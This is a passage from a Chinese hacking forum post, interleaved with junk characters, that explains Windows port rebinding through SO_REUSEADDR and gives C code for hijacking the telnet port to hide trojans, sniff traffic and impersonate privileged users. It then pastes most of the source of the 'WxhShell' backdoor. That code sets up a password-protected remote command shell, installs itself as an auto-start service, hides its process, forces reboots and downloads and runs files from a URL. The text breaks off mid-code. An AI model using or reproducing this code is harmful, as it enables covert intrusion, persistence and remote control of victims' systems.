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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +F#=`+V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 17?NR\Q  
]=O{7#  
  saddr.sin_family = AF_INET; UXXqE4x  
zEnC[~W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fq)Ohb  
mg/C Ux  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \k2C 5f  
Nn~tb2\vk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `HMligT  
&6=TtTp"9  
  这意味着什么?意味着可以进行如下的攻击: Q%_!xQP`  
E,"b*l.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :..E:HdYO  
ljaAB+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UtHmM,*I  
hnM9-hqm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TZvBcNi   
<ls i.x\y<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f=-!2#%  
7zz(#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IeqWR4Y  
w>1l@%U o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +?J_6Mo@X  
I\F=s-VVY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #L).BM  
js%4;  
  #include }kgjLaQ^N  
  #include %BT)oH}  
  #include QBN=l\m+  
  #include    0e7O#-  
  DWORD WINAPI ClientThread(LPVOID lpParam);    h;:Se  
  int main() g(z#h$@S  
  { ^"6D0!'N  
  WORD wVersionRequested; =B ,_d0Id  
  DWORD ret; d6Q :{!Sd"  
  WSADATA wsaData; 8_sU8q*s  
  BOOL val; @5dB b+0J  
  SOCKADDR_IN saddr; &D&5UdN x  
  SOCKADDR_IN scaddr; P5ESrZ@f  
  int err; VygXhh^7\  
  SOCKET s; c DEe?WS  
  SOCKET sc; &})4?5  
  int caddsize; .yHHogbt  
  HANDLE mt; (<AM+|  
  DWORD tid;   { 8|Z}?I  
  wVersionRequested = MAKEWORD( 2, 2 ); _Oaso >  
  err = WSAStartup( wVersionRequested, &wsaData ); ZQJw2LAgO  
  if ( err != 0 ) { }hObtAS  
  printf("error!WSAStartup failed!\n"); (pRy1DH~  
  return -1; 9 up* g  
  } 0YsN82IDD  
  saddr.sin_family = AF_INET; Kr+Bt y  
   x"h)"Y[c5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iX9[Q0g=oQ  
"cz]bCr8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gP_d >p:b  
  saddr.sin_port = htons(23); s/p>30Fg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^QHMN 7r/  
  { )oz-<zW  
  printf("error!socket failed!\n"); e5:l6`  
  return -1; n<"a+TTU  
  } ! A ydhe  
  val = TRUE; 5e~{7{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B2Awdw3=g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S|u1QGB  
  { KzFs#rhpn  
  printf("error!setsockopt failed!\n");  zxynEdO  
  return -1; xVwi }jtG|  
  } j{Qbzczy,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &&QDEDszp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }1^ tK(Am  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?6l,   
3vvFF]D5k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $4ZDT]n  
  { #\!hBL @b  
  ret=GetLastError(); _QtQPK\+  
  printf("error!bind failed!\n"); s'fcAh,c6  
  return -1; t9-\x  
  } Fy+7{=?^F  
  listen(s,2); q}76aa0e  
  while(1) E)Zd{9A5)  
  { uvK%d\d  
  caddsize = sizeof(scaddr); Q/9vDv  
  //接受连接请求 R;,u >P "  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \5L4*  
  if(sc!=INVALID_SOCKET) %;\2QI`R  
  { dQ2i{A"BKz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sr#fyr  
  if(mt==NULL) iJp!ROI  
  { Ul~}@^m]4}  
  printf("Thread Creat Failed!\n"); Ivgwm6M  
  break; V44sNi  
  } J W yoh|  
  } ] !*  
  CloseHandle(mt); Zv7$epDUz  
  } TYLl_nGr  
  closesocket(s); 4>ce,*B1  
  WSACleanup(); '/"M02a  
  return 0; ]C:Ifh~  
  }   MAhPO!e5.  
  DWORD WINAPI ClientThread(LPVOID lpParam) $R#L@iL-  
  { 8@C|exAD`  
  SOCKET ss = (SOCKET)lpParam; gt~2Br4  
  SOCKET sc; `LHfAXKN  
  unsigned char buf[4096]; 4sD:J-c  
  SOCKADDR_IN saddr; +M%2m3.Jo  
  long num; !v;_@iW3e  
  DWORD val; +H^V},dBp!  
  DWORD ret; qFsg&<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o4 OEA)k)=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y Z2VP  
  saddr.sin_family = AF_INET; j!8+|eA kk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {,mRMDEy  
  saddr.sin_port = htons(23); v}*u[GWl]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N)I T?  
  { PHL@1K{)  
  printf("error!socket failed!\n"); xTawG?"D  
  return -1; >yHnz?bf@  
  } !?-5 hh1\  
  val = 100; r#Oz0=0u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DO,&Foh\  
  { S/:QVs  
  ret = GetLastError(); e ~,'|~ C5  
  return -1;  eJ\j{-  
  } &^D@(m7>{K  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~E|V{z%  
  { G78j$ ^/0  
  ret = GetLastError(); %_=R&m'n`  
  return -1; U=#ylQ   
  } Z1lF[d,f;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U\GZ  
  { WsDe0F  
  printf("error!socket connect failed!\n"); >\x 39B  
  closesocket(sc); ]SR`96vG  
  closesocket(ss); "^e?E:( 3  
  return -1; Gbm_xEPC  
  } M[N.H9  
  while(1) z7pXpy \  
  { imq(3?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =]mx"0i[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =sVt8FWGY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ck a]F2,  
  num = recv(ss,buf,4096,0); c89vx 9  
  if(num>0) L;t~rW!1  
  send(sc,buf,num,0); [cAg'R6  
  else if(num==0) ]TprPU39  
  break; P&`r87J  
  num = recv(sc,buf,4096,0); l%5%oN`4  
  if(num>0) [MP :Eeg  
  send(ss,buf,num,0); 1e| M6*  
  else if(num==0) ]BBgU[O) !  
  break; /%w[q:..h  
  } AFJY!ou~6  
  closesocket(ss); IGV.0l  
  closesocket(sc); 1>{-wL4rc  
  return 0 ; c^gIK1f-  
  } 'n#S6.Y:  
5VoiDM=\c  
% x;!s=U  
========================================================== Ui;s.f  
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下边附上一个代码,,WXhSHELL ho$%7mc  
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========================================================== jz:c)C&/  
,T[ +omo  
#include "stdafx.h" 8J U~Q  
{ 4{{;   
#include <stdio.h> RYaof W  
#include <string.h> ]7 mSM  
#include <windows.h> ~,-O  
#include <winsock2.h> ^#nWgo7{7  
#include <winsvc.h> )#Bfd(F  
#include <urlmon.h> }@6 %yR  
LbknSy C  
#pragma comment (lib, "Ws2_32.lib") JLn<,Gn)<\  
#pragma comment (lib, "urlmon.lib") F;@&uXYgc  
l;kZS  
#define MAX_USER   100 // 最大客户端连接数 U  {!{5l:  
#define BUF_SOCK   200 // sock buffer ^}\R]})w"  
#define KEY_BUFF   255 // 输入 buffer ]arskmB]  
s4k%ty}  
#define REBOOT     0   // 重启 fG5}'8  
#define SHUTDOWN   1   // 关机 ebK wCZwK*  
agD.J)v\  
#define DEF_PORT   5000 // 监听端口 MCG~{#`  
Q kpmPQK  
#define REG_LEN     16   // 注册表键长度 JAlsc]XtO9  
#define SVC_LEN     80   // NT服务名长度 0Ch._~Q+20  
V3UGx'@^y  
// 从dll定义API B`EgL/Wg[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uNBhVsM6<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .LHe*JC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7E)7sd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4 Z)]Cq*3  
XnOl*#P  
// wxhshell配置信息 U# B  
struct WSCFG { R/|{?:r?:x  
  int ws_port;         // 监听端口 AE _~DZ:%c  
  char ws_passstr[REG_LEN]; // 口令 dig76D_[e  
  int ws_autoins;       // 安装标记, 1=yes 0=no y@JYkp>I  
  char ws_regname[REG_LEN]; // 注册表键名 XjU;oh4:.  
  char ws_svcname[REG_LEN]; // 服务名 1]`HX=cl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /MtacR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^SCWT\E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ob #XKL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FR"^?z?}p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xy&#}S}9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z+7S,M  
[.,6~=}vP  
}; ir#^5e @  
vn0*KIrX  
// default Wxhshell configuration zy;w07-)  
struct WSCFG wscfg={DEF_PORT, u;}B4Rx  
    "xuhuanlingzhe", E1_4\ S*z  
    1, hDsORh!i  
    "Wxhshell", [G/X  
    "Wxhshell", 3Gv i!h7  
            "WxhShell Service", ;d40:q<  
    "Wrsky Windows CmdShell Service", ro@BmRMW  
    "Please Input Your Password: ", {NDP}UATw  
  1, |;yb *  
  "http://www.wrsky.com/wxhshell.exe", KZNyp%q  
  "Wxhshell.exe" /d'u1FnA =  
    }; s&</zU'  
:[3\jLrc  
// 消息定义模块 c*Nbz,:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T7'$A!c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UMaKvr-C&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KW<CU'  
char *msg_ws_ext="\n\rExit."; Um<vsR  
char *msg_ws_end="\n\rQuit."; -Ma"V  
char *msg_ws_boot="\n\rReboot..."; tEs$+b  
char *msg_ws_poff="\n\rShutdown..."; V.1sZYA9  
char *msg_ws_down="\n\rSave to "; 5yID%  
{{,%p#/b  
char *msg_ws_err="\n\rErr!"; )' #(1 ,1k  
char *msg_ws_ok="\n\rOK!"; OpQa!  
IIZsN*^  
char ExeFile[MAX_PATH]; hg @Jpg  
int nUser = 0; 9n7d "XD2  
HANDLE handles[MAX_USER]; = xk@Q7$  
int OsIsNt; 5WYU&8+]{:  
Tp13V.|  
SERVICE_STATUS       serviceStatus; LAeXe!y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DBRJtU!5x  
T-TH. R  
// 函数声明 1-#tx*>AY  
int Install(void);  tS7u#YMh  
int Uninstall(void); 3F1Z$d(  
int DownloadFile(char *sURL, SOCKET wsh); ehq6.+l  
int Boot(int flag); }o4Cd$,8  
void HideProc(void); qfU3Cwy  
int GetOsVer(void); }d(6N&;"zN  
int Wxhshell(SOCKET wsl); ]u';zJ.  
void TalkWithClient(void *cs); ]'q<wPi  
int CmdShell(SOCKET sock); YBP{4Rl  
int StartFromService(void); *gn*S3Is[j  
int StartWxhshell(LPSTR lpCmdLine); W% ud nJ  
-tQ|&fl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7@?b _  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )EoG@:[  
BR'|hG  
// 数据结构和表定义 A-FwNo2"%  
SERVICE_TABLE_ENTRY DispatchTable[] = 0"N %Vm  
{ Tx(R3B+u7  
{wscfg.ws_svcname, NTServiceMain}, f7'%AuSQ(  
{NULL, NULL} guvQISQlY  
}; 4SYN$?.Mp  
b}:Z(L,\  
// 自我安装 0bE_iu>f'  
int Install(void) _f`m/l  
{ KJiwM(o  
  char svExeFile[MAX_PATH]; YaU A}0cW  
  HKEY key; 6_Kz}PQ  
  strcpy(svExeFile,ExeFile); J"y@n ~*0  
'<Gqu_-  
// 如果是win9x系统,修改注册表设为自启动 Ar==@777j  
if(!OsIsNt) { xph60T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )zN )7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $gNCS:VG*  
  RegCloseKey(key); KB5{l%>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |zMQe}R@%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o2~x'*A0I  
  RegCloseKey(key); Gm. hBNgp  
  return 0; (`xc3-,  
    } 'SmdU1]4BD  
  } 5 Jhl4p}w  
} Lj H];=R  
else { N+\*:$>zt6  
abND#t  
// 如果是NT以上系统,安装为系统服务 `4CRpz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <T wq{kt  
if (schSCManager!=0) s@$AYZm_  
{ >BX_Bou  
  SC_HANDLE schService = CreateService 5+UiAc$  
  ( dY,'6 JzC  
  schSCManager, .<.qRq-  
  wscfg.ws_svcname, pqe**`z@y  
  wscfg.ws_svcdisp, TO.NCO\x  
  SERVICE_ALL_ACCESS, D1f=f88/}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -n9e-0  
  SERVICE_AUTO_START, Hpt)(Nz:  
  SERVICE_ERROR_NORMAL, Aq"_hjp  
  svExeFile, Ssj'1[%  
  NULL, HZT;7<  
  NULL, =T$E lXwJ  
  NULL, g@Zc'g/XB  
  NULL, so7;h$h!H  
  NULL S;])Nt'X'  
  ); !o@-kl  
  if (schService!=0) t]x HM  
  { ^ !9b#Ja  
  CloseServiceHandle(schService); ' |Oi#S  
  CloseServiceHandle(schSCManager); k=@Q#=;*[W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z9U*SS5s,  
  strcat(svExeFile,wscfg.ws_svcname); h@J`:KO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $?\],T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J0#% *B  
  RegCloseKey(key); Ur`v*LT}~  
  return 0; 78%2#;;G  
    } 8<^,<?  
  } r (uM$R$o  
  CloseServiceHandle(schSCManager); ^Z*_@A_v  
} rnr7t \a~]  
} c|7Pnx%gT  
R8 m/N t2  
return 1; ]HRZ9oP  
} /Hx\ gtV  
U2aE:$oeYi  
// 自我卸载 `9ieTt  
int Uninstall(void) p})&Zl)V  
{ 3EyN"Lvp{o  
  HKEY key; P ,i)A  
oVu>jO:.  
if(!OsIsNt) { !hq7R]TC+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v zn/waw  
  RegDeleteValue(key,wscfg.ws_regname); -b{*8(d<I  
  RegCloseKey(key); &0#qy9wx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p k/#+r;  
  RegDeleteValue(key,wscfg.ws_regname); )6(mf2&  
  RegCloseKey(key); \||PW58j  
  return 0; dw&Xg_$  
  } eN$~@'w  
} $*PyzLS  
} =y':VIVJC  
else { 9$_}E`  
eE&F1|8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D,hl+P{^K  
if (schSCManager!=0) &(0iSS  
{ `<K#bDU;a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sLTf).xh  
  if (schService!=0) DgdW.Kj|IL  
  { Kz%wMyZ:g  
  if(DeleteService(schService)!=0) { F kWJB>  
  CloseServiceHandle(schService); ^I0SfZ'Y  
  CloseServiceHandle(schSCManager); {<GsM  
  return 0; ?*T`a oB  
  } +z4NxR   
  CloseServiceHandle(schService); EU+sTe>  
  } v}!,4,]:&  
  CloseServiceHandle(schSCManager); dI>oHMC  
} k @ Hu0x  
} &8;mcM//4  
ENGw <  
return 1; y|@^0]}%<  
} ?FA:K0H?zl  
%B~`bUHjq  
// 从指定url下载文件 Kg.E~  
int DownloadFile(char *sURL, SOCKET wsh) JK1b 68n  
{ I[&!\Me[+w  
  HRESULT hr; 9Kqr9U--v  
char seps[]= "/"; Fc=8Qt^  
char *token; ht1 jrCe  
char *file; U'\\(m|  
char myURL[MAX_PATH]; =3}+f-6"'  
char myFILE[MAX_PATH]; Dk4Wj"LS  
ZK13[_@9  
strcpy(myURL,sURL); Z?GC+hG`  
  token=strtok(myURL,seps); aqMZ%~7  
  while(token!=NULL) rOcfPLJi0  
  { p* ^O 8o  
    file=token; f6m^pbQFl  
  token=strtok(NULL,seps); 2/;KZ+U&  
  } ic3qb<2  
Oe5aNo  
GetCurrentDirectory(MAX_PATH,myFILE); p@!"x({@l  
strcat(myFILE, "\\"); /O8'8sL5  
strcat(myFILE, file); ue`F|  
  send(wsh,myFILE,strlen(myFILE),0); uU<Yf5  
send(wsh,"...",3,0); {!-w|&bF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6 Fm.^9@  
  if(hr==S_OK) >6aCBS?2  
return 0; 9/nL3U@i1  
else ^lQej%  
return 1; t$}+oCnkv  
0^.q5#A2  
} g]3-:&F{c  
.M_;mhRI  
// 系统电源模块 ~zuMX ;[  
int Boot(int flag) [*1c.&%(  
{ o2jnmv~  
  HANDLE hToken; K46mE   
  TOKEN_PRIVILEGES tkp; QJv,@@mu  
NoPM!.RU{  
  if(OsIsNt) { ^c=@2#^\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \TKv3N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !D  
    tkp.PrivilegeCount = 1; 'dx4L }d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nrZv>r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ok7DI  
if(flag==REBOOT) { wngxVhu8Ld  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !1!uB }  
  return 0; BkIvoW_  
} "U yw7  
else { #Uudx~b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x{+rx.  
  return 0; 1pc|]9B  
} |o+vpy  
  } C#gQJ=!B  
  else { Wve ^2lkoK  
if(flag==REBOOT) { wv1?v_4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /1O6;'8He  
  return 0; +wQ GC  
} ,x_g|J _Y  
else { <q_H 3|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (=p}b:Z  
  return 0; * yt/ Dj  
} I{M2nQi  
} {8t;nsdm!  
Ue8_Q8q5  
return 1; ;  I=z  
} E fqa*,k  
>(\[$  
// win9x进程隐藏模块 ZkqC1u3  
void HideProc(void) ka]n+"~==\  
{ y{kXd1,  
(2%C% #]8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zO!`sPP  
  if ( hKernel != NULL ) A]R"C:o  
  { BL]^+KnP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S?D2`b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^%\p; yhL  
    FreeLibrary(hKernel); RI%* 5lM8;  
  } P~?u2,.E[  
A@`C<O ^  
return; @GGyiK@  
} ~r!jVK>^  
$-o39A#  
// 获取操作系统版本 +[z(N  
int GetOsVer(void) .&* Tj}p  
{ "b2Mk-qP  
  OSVERSIONINFO winfo; gg6&Fzp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qy15TJ  
  GetVersionEx(&winfo); q/]tJ{FI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -"(e*&TJ#  
  return 1; FxD"z3D  
  else z.{y VQE  
  return 0; b5yb~;0  
} );=JoRQ{  
L!{^^7  
// 客户端句柄模块 %S@XY3jZY  
int Wxhshell(SOCKET wsl) 9WBDSx_(Q  
{ |z5olu$gVc  
  SOCKET wsh; !rrjA$P<v  
  struct sockaddr_in client; u} KiSZxt  
  DWORD myID; I</Nmgf  
ECl[v%R/6  
  while(nUser<MAX_USER) R4{}ZT  
{ 1a%*X UT  
  int nSize=sizeof(client); I\4 I,ds  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ti'OjoJL  
  if(wsh==INVALID_SOCKET) return 1; &M<431y  
A~h8 >zz*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `7'(U)x,F  
if(handles[nUser]==0) 9#_49euy|P  
  closesocket(wsh); QI!:+8  
else #`?uV)(  
  nUser++; j^LnHVHk1  
  } {qj>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n NAJ8z}Nt  
.p0;y3so4  
  return 0; Ws(BouJ  
} iPE-j#|  
0k3^+#J  
// 关闭 socket v^KJU +  
void CloseIt(SOCKET wsh) kV-a'"W5  
{ R$PiF1ffj  
closesocket(wsh); bv|v9_i  
nUser--; CVu'uyy  
ExitThread(0); @ '<lD*W  
} =. OW sFv  
~PS%^zxyn  
// 客户端请求句柄 Oi7:J> [  
void TalkWithClient(void *cs) M8 ++JI  
{ F2+lwycY  
NH|v`rO  
  SOCKET wsh=(SOCKET)cs; g%^Zq"  
  char pwd[SVC_LEN]; h~<#1'/<  
  char cmd[KEY_BUFF]; .llAiv  
char chr[1]; ~lQ]PKJ"  
int i,j; ]\Ez{MdAT  
mz/KGZ5t  
  while (nUser < MAX_USER) { |n]^gTJt  
n) `4*d$`  
if(wscfg.ws_passstr) { 6s>PZh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qza[~6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8B\,*JGY2  
  //ZeroMemory(pwd,KEY_BUFF); 3):7mE(  
      i=0; qB"y'UW8  
  while(i<SVC_LEN) { i"_JF-IbN  
r\L:JTZ$  
  // 设置超时 GVFD_;j'  
  fd_set FdRead; bx`(d@  
  struct timeval TimeOut; 40+E#z)  
  FD_ZERO(&FdRead); 48w3gye  
  FD_SET(wsh,&FdRead); ? BBDk  
  TimeOut.tv_sec=8; M*@MkN*u&  
  TimeOut.tv_usec=0; e?F r/n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X/'B*y'=U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?jb7Oq#[  
$YL} rM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q-p4k`]  
  pwd=chr[0]; >Utn[']~  
  if(chr[0]==0xd || chr[0]==0xa) { D|UDLaz~  
  pwd=0; <:/V`b3a  
  break; >>&~;PG[  
  } [<OMv9(l'o  
  i++; XbG=H-|  
    } l$PO!JRD  
|RHX2sso  
  // 如果是非法用户,关闭 socket $8X?|fV)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vChkSY([  
} #16)7  
vE{QN<6T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %lEPFp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4oCn F+(  
x4fLe5xv  
while(1) { |1rBK.8  
'gQm%:qU3r  
  ZeroMemory(cmd,KEY_BUFF); 0wxQ,PI1'  
Cc9<ABv?  
      // 自动支持客户端 telnet标准   gM_Z/$  
  j=0; Qb9) 1  
  while(j<KEY_BUFF) { vzs6YsA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )WuuU [(  
  cmd[j]=chr[0]; <g,xc)[  
  if(chr[0]==0xa || chr[0]==0xd) { /V:%}Z  
  cmd[j]=0; KvC:(Vqj  
  break; %!LrC!6P4  
  } ]uj H7T  
  j++; #O=^%C 7p  
    } 0p&:9|'z  
])0&el3-  
  // 下载文件 @4hxGk=  
  if(strstr(cmd,"http://")) { 7;c{lQOj}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &\K,kS[.r  
  if(DownloadFile(cmd,wsh)) 'X{7b <  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %p^C,B{7w  
  else trM8 p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u{exQ[,E  
  } nL@P {,J  
  else { hg=\L5R  
_d)w, ;m#  
    switch(cmd[0]) { x4Eq5"F7}  
  0jE,=<W0>  
  // 帮助 pcm|  
  case '?': { !0E$9Xon  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H`B%6S /  
    break; Zb8i[1P  
  } 0+M1,?+GfF  
  // 安装 EGU? 54  
  case 'i': { JA())0a  
    if(Install()) ?=f\oH$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &)<]AG.vd!  
    else G;wv.|\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vg *+>lbA  
    break; 9sJbz=o]r  
    } 2{#*z%|z  
  // 卸载 m6aoh^I  
  case 'r': { SO8Ej)m  
    if(Uninstall()) Po93&qE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $;"@;Lj%,  
    else ,_P(!7Z8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ml\7JW6Rx  
    break; A~O 'l&KB  
    } !|,=rM9x  
  // 显示 wxhshell 所在路径 o %Pi;8  
  case 'p': { >8 VfijK  
    char svExeFile[MAX_PATH]; \ssuO  
    strcpy(svExeFile,"\n\r"); ]Cbht\Ag"  
      strcat(svExeFile,ExeFile); +oe ~j\=  
        send(wsh,svExeFile,strlen(svExeFile),0); S &cH1QZ  
    break; ?Q:se  
    } /vSFQ}W  
  // 重启 ]qhVxeUm  
  case 'b': { *)g*5kKN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `hI1  
    if(Boot(REBOOT)) st'Y j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZVgR7+`]#  
    else { 5as';1^P&*  
    closesocket(wsh); <N+l"Re#]  
    ExitThread(0); ~"+[VE5  
    } RSzp-sKB  
    break; E8#y9q  
    } j3sUZg|d  
  // 关机 Pr@ EpO  
  case 'd': { UyTq(7uo  
